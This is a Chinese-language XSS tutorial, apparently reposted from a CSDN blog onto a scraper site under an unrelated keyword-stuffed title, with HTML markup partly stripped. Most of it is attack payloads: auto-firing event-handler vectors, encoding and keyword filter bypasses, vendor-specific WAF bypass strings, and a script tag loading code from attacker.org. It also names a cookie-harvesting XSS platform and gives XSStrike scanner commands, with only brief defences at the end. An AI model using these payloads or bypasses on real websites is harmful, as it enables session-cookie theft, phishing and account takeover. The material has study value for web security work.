如何把网站做的和别人一样网站的具体内容
news/
2025/9/24 8:35:02/
文章来源:
如何把网站做的和别人一样,网站的具体内容,扬州住房与城乡建设局网站,上海前端XSS漏洞#xff08;跨站脚本#xff09;
1.XSS 漏洞简介
XSS又叫CSS#xff08;Cross Site Script#xff09;跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码#xff0c;当用户浏览该页之时#xff0c;嵌入其中Web里面的Script代码会被执行#xff0c;从…XSS漏洞跨站脚本
1.XSS 漏洞简介
XSS又叫CSSCross Site Script跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码当用户浏览该页之时嵌入其中Web里面的Script代码会被执行从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中通过用户本地浏览器执行的所以xss漏洞关键就是寻找参数未过滤的输出函数。 常见的输出函数有 echo printf print print_r sprintf die var-dump var_export.
2.XSS的原理
攻击者对含有漏洞的服务器发起XSS攻击注入JS代码。诱使受害者打开受到攻击的服务器URL。受害者在Web浏览器中打开URL恶意脚本执行。
3.XSS的攻击方式
反射型XSS非持久化 攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码服务器中没有这样的页面和内容一般容易出现在搜索页面。一般是后端代码进行处理存储型XSS持久化 代码是存储在服务器数据库中的如在个人信息或发表文章等地方加入代码如果没有过滤或过滤不严那么这些代码将储存到服务器中每当有用户访问该页面的时候都会触发代码执行这种XSS非常危险容易造成蠕虫大量盗窃cookie虽然还有种DOM型XSS但是也还是包括在存储型XSS内。DOM型XSS基于文档对象模型Document Objeet ModelDOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口它允许程序或脚本动态地访问和更新文档内容、结构和样式处理后的结果能够成为显示页面的一部分。DOM中有很多对象其中一些是用户可以操纵的如uRI locationrefelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容它不依赖于提交数据到服务器端而从客户端获得DOM中的数据在本地执行如果DOM中的数据没有经过严格确认就会产生DOM XSS漏洞。一般是浏览器前端代码进行处理。
4.XSS的危害
1.挂马
2.盗取用户Cookie。
3.DOS拒绝服务客户端浏览器。
4.钓鱼攻击高级的钓鱼技巧。
5.删除目标文章、恶意篡改数据、嫁祸。
6.劫持用户Web行为甚至进一步渗透内网。
7.爆发Web2.0蠕虫。
8.蠕虫式的DDoS攻击。
9.蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据
10.其它安全问题
5.XSS的利用方式
需要一个xss平台来收集cookie
2. 对于反射型xss可构造链接当用户点击时用户cookie被发送到xss平台
3. 窃取用户cooike之后加以利用
可以基于xss平台进行利用
xss平台使用
https://xss8.cc/bdstatic.com/?callbackprojectactcreate
6.常见XSS攻击方式
一些常用的标签与属性
下面我列举的标签大部分是可以自动触发js代码的无需用户去交互大部分情况下我们也是希望是自动触发而不是等用户去触发。
1.scirpt 标签
script 标签用于定义客户端脚本比如 JavaScript。
scriptalert(1);/script
scriptalert(xss);/script
2.img 标签
img 标签定义 HTML 页面中的图像。
img src1 onerroralert(1);
img src1 onerroralert(xss);
3.input 标签
input 标签规定了用户可以在其中输入数据的输入字段。
onfocus 事件在对象获得焦点时发生
input onfocusalert(1);
竞争焦点从而触发onblur事件
input onbluralert(1) autofocusinput autofocus
input 标签的 autofocus 属性规定当页面加载时 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件这个向量是使焦点自动跳到输入元素上触发焦点事件无需用户去触发
input onfocusalert(1); autofocus οnclickalert(1) 这样需要点击一下输入框bronmouseoveralert(1) 需要鼠标划过输入框br
4.details 标签
details 标签通过提供用户开启关闭的交互式控件规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 details 元素时触发details ontogglealert(1);
使用details 标签的 open 属性触发ontoggle事件无需用户去点击即可触发
details open ontogglealert(1);
5.svg 标签
svg 标签用来在HTML页面中直接嵌入SVG 文件的代码。
svg onloadalert(1);
6.select 标签
select 标签用来创建下拉列表。
select onfocusalert(1)/select通过autofocus属性规定当页面加载时元素应该自动获得焦点这个向量是使焦点自动跳到输入元素上触发焦点事件无需用户去触发
select onfocusalert(1) autofocus
7.iframe 标签
iframe 标签会创建包含另外一个文档的内联框架。iframe onloadalert(1);/iframe
8.video 标签
video 标签定义视频比如电影片段或其他视频流。videosource onerroralert(1)
9.audio 标签
audio 标签定义声音比如音乐或其他音频流。audio srcx onerroralert(1);
10.body 标签
body 标签定义文档的主体。body onloadalert(1);
onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus当用户滑动滚动条的时候自动触发无需用户去点击触发
body
onscrollalert(1);brbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrbrinput autofocus
11.textarea 标签
textarea 标签定义一个多行的文本输入控件。textarea onfocusalert(1); autofocus
12.keygen 标签
keygen autofocus onfocusalert(1) //仅限火狐
13.marquee 标签
marquee onstartalert(1)/marquee //Chrome不行火狐和IE都可以
14.isindex 标签
isindex typeimage src1 onerroralert(1)//仅限于IE
7.常见基本过滤方法
1.空格过滤
当空格被过滤了时我们可以用 / 来代替空格
/**/注释符号绕过/符号绕过img/srcx/onerroralert(1);也可以img/srcxonerroralert(1);
2.引号过滤
如果是html标签中我们可以不用引号。如果是在js中我们可以用反引号代替单双引号img srcx onerroralert(xss);
3.括号过滤
当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。
img srcx onerrorjavascript:window.onerroralert;throw 1
a onmouseoverjavascript:window.onerroralert;throw 1
4.关键字过滤 大小写绕过
sCRiPtalert(1);/sCrIpT
ImG sRcx onerRoralert(1);
双写绕过
有些waf可能会只替换一次且是替换为空这种情况下我们可以考虑双写关键字绕过
scrscriptiptalert(1);/scrscriptipt
imimgg srsrccx onerroralert(1);
5.字符串拼接绕过
利用eval()函数
与PHP的eval()函数相同JavaScript的eval()函数也可以计算 JavaScript 字符串并把它作为脚本代码来执行。
img srcx onerroraaler;bt;c(1);eval(abc)
img srcx onerroraaler;bt;c(xss);;eval(abc)
// 在js中我们可以用反引号代替单双引号
6.编码绕过
Unicode编码绕过img srcx onerror#97;#108;#101;#114;#116;#40;#34;#120;#115;#115;#34;#41;#59;javasc#x72;#x69;pt:alert(/xss/) (编码了r和i)img srcx onerroreval(\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b)
url编码绕过img srcx onerroreval(unescape(%61%6c%65%72%74%28%22%78%73%73%22%29%3b))iframe srcdata:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E/iframe
Ascii码绕过img srcx onerroreval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))
hex绕过img srcx onerroreval(\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29)
base64绕过img srcx onerroreval(atob(ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw))iframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4
7.过滤url地址
使用url编码img srcx onerrordocument.locationhttp://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/javasc#x72;#x69;pt:alert(xsshttp://)
使用IP1.十进制IP
img srcx onerrordocument.locationhttp://2130706433/2.八进制IP
img srcx onerrordocument.locationhttp://0177.0.0.01/3.hex
img srcx onerrordocument.locationhttp://0x7f.0x0.0x0.0x1/
4.html标签中用//可以代替http://
img srcx onerrordocument.location//www.baidu.com5.使用\\
但是要注意在windows下\本身就有特殊用途是一个path 的写法所以\\在Windows下是file协议在linux下才会是当前域的协议6.使用中文逗号代替英文逗号
如果你在你在域名中输入中文句号浏览器会自动转化成英文的逗号
img srcx onerrordocument.locationhttp://www。baidu。com//会自动跳转到百度
8.单引号闭合htmlspecialchars函数绕过
onmouseoveralert(/xss/)
9.JavaScript伪协议
a hrefjavascript:alert(/xss/) o_n和scr_ipt过滤
8.HttpOnly绕过
1.什么是HttpOnly?
如果您在cookie中设置了HttpOnly属性那么通过js脚本将无法读取到cookie信息这样能有效的防止XSS攻击具体一点的介绍请google进行搜索
2.javaEE的API是否支持?
目前sun公司还没有公布相关的API但PHP、C#均有实现。搞javaEE的兄弟们比较郁闷了别急下文有变通实现
3.HttpOnly的设置样例
javaEE response.setHeader(“Set-Cookie”, “cookienamevalue; Path/;Domaindomainvalue;Max-Ageseconds;HTTPOnly”);
具体参数的含义再次不做阐述设置完毕后通过js脚本是读不到该cookie的但使用如下方式可以读取 Cookie cookies[]request.getCookies();
C#
HttpCookie myCookie new HttpCookie(myCookie);
myCookie.HttpOnly true;
Response.AppendCookie(myCookie);
VB.NET
Dim myCookie As HttpCookie new HttpCookie(myCookie)
myCookie.HttpOnly True
Response.AppendCookie(myCookie)
但是在 .NET 1.1 ,中您需要手动添加 Response.Cookies[cookie].Path “;HTTPOnly”;
PHP4
header(Set-Cookie: hiddenvalue; httpOnly);
PHP5
setcookie(abc, test, NULL, NULL, NULL, NULL, TRUE);
最后一个参数为HttpOnly属性
9.常规waf绕过思路
1.标签语法替换
scrscriptiptalert(XSS)/scrscriptipt
scriptalert(XSS)/script
script srchttp://attacker.org/malicious.js/script
2.特殊符号干扰
3.提交方式更改
4.垃圾数据溢出
5.加密解密算法
6.结合其他漏洞绕过
下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术
WAF名称Cloudflare
Payloada”/onclick(confirm)()click
绕过技术非空格填充
WAF名称Wordfence
Payloada/hrefjavascriptcolon;alert()click
绕过技术数字字符编码
WAF名称Barracuda
Payloada/hrefJava%0a%0d%09scriptcolon;alert()click
绕过技术数字字符编码
WAF名称Comodo
Payloadd3v/onauxclick(((confirm)))“click
绕过技术黑名单中缺少事件处理器以及函数调用混淆
WAF名称F5
Payloadd3v/onmouseleave[2].some(confirm)click
绕过技术黑名单中缺少事件处理器以及函数调用混淆
WAF名称ModSecurity
Payloaddetails/open/ontogglealert()
绕过技术黑名单中缺少标签或事件处理器
WAF名称dotdefender
Payloaddetails/open/ontoggle(confirm)()//
绕过技术黑名单中缺少结束标签、事件处理器和函数调用混淆
10.XSStrike工具使用
1.测试一个使用GET方法的网页
python xsstrike.py -u http://example.com/search.php?qquery
2.测试POST数据
python xsstrike.py -u http://example.com/search.php --data qquery
python xsstrike.py -u http://example.com/search.php --data {q:query} --json
3.测试URL路径
python xsstrike.py -u http://example.com/search/form/query --path
4.从目标网页开始搜寻目标并进行测试
python xsstrike.py -u http://example.com/page.php --crawl
您可以指定爬网的深度,默认2-l
python xsstrike.py -u http://example.com/page.php --crawl -l 3
5.如果要测试文件中的URL或者只是想添加种子进行爬网则可以使用该–seeds选项
python xsstrike.py --seeds urls.txt
6.查找隐藏的参数
通过解析HTML和暴力破解来查找隐藏的参数
python xsstrike.py -u http://example.com/page.php --params
7.盲XSS爬行中使用此参数可向每个html表单里面的每个变量插入xss代码
python xsstrike.py -u http://example.com/page.php?qquery --crawl --blind
8.模糊测试–fuzzer
该模糊器旨在测试过滤器和Web应用程序防火墙可使用-d选项将延迟设置为1秒。
python xsstrike.py -u http://example.com/search.php?qquery --fuzzer
9.跳过DOM扫描
在爬网时可跳过DOM XSS扫描以节省时间
python xsstrike.py -u http://example.com/search.php?qquery --skip-dom
10.更新
如果跟上–updata选项XSStrike将检查更新。如果有更新的版本可用XSStrike将下载更新并将其合并到当前目录中而不会覆盖其他文件。
python xsstrike.py --update
11.XSS的防御措施
1编码对用户输入的数据进行HTML Entity编码
2过滤移除用户上传的DOM属性如onerror等移除用户上传的style节点script节点iframe节点等。
3校正避免直接对HTML Entity编码使用DOM Prase转换校正不配对的DOM标签。
本文转自 https://blog.csdn.net/huangyongkang666/article/details/123624164?ops_request_misc%257B%2522request%255Fid%2522%253A%2522ff6449bd37699a2b6c286a92c67b1310%2522%252C%2522scm%2522%253A%252220140713.130102334…%2522%257Drequest_idff6449bd37699a2b6c286a92c67b1310biz_id0utm_mediumdistribute.pc_search_result.none-task-blog-2alltop_positive~default-1-123624164-null-null.142v100pc_search_result_base4utm_termXSSspm1018.2226.3001.4187如有侵权请联系删除。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/915360.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!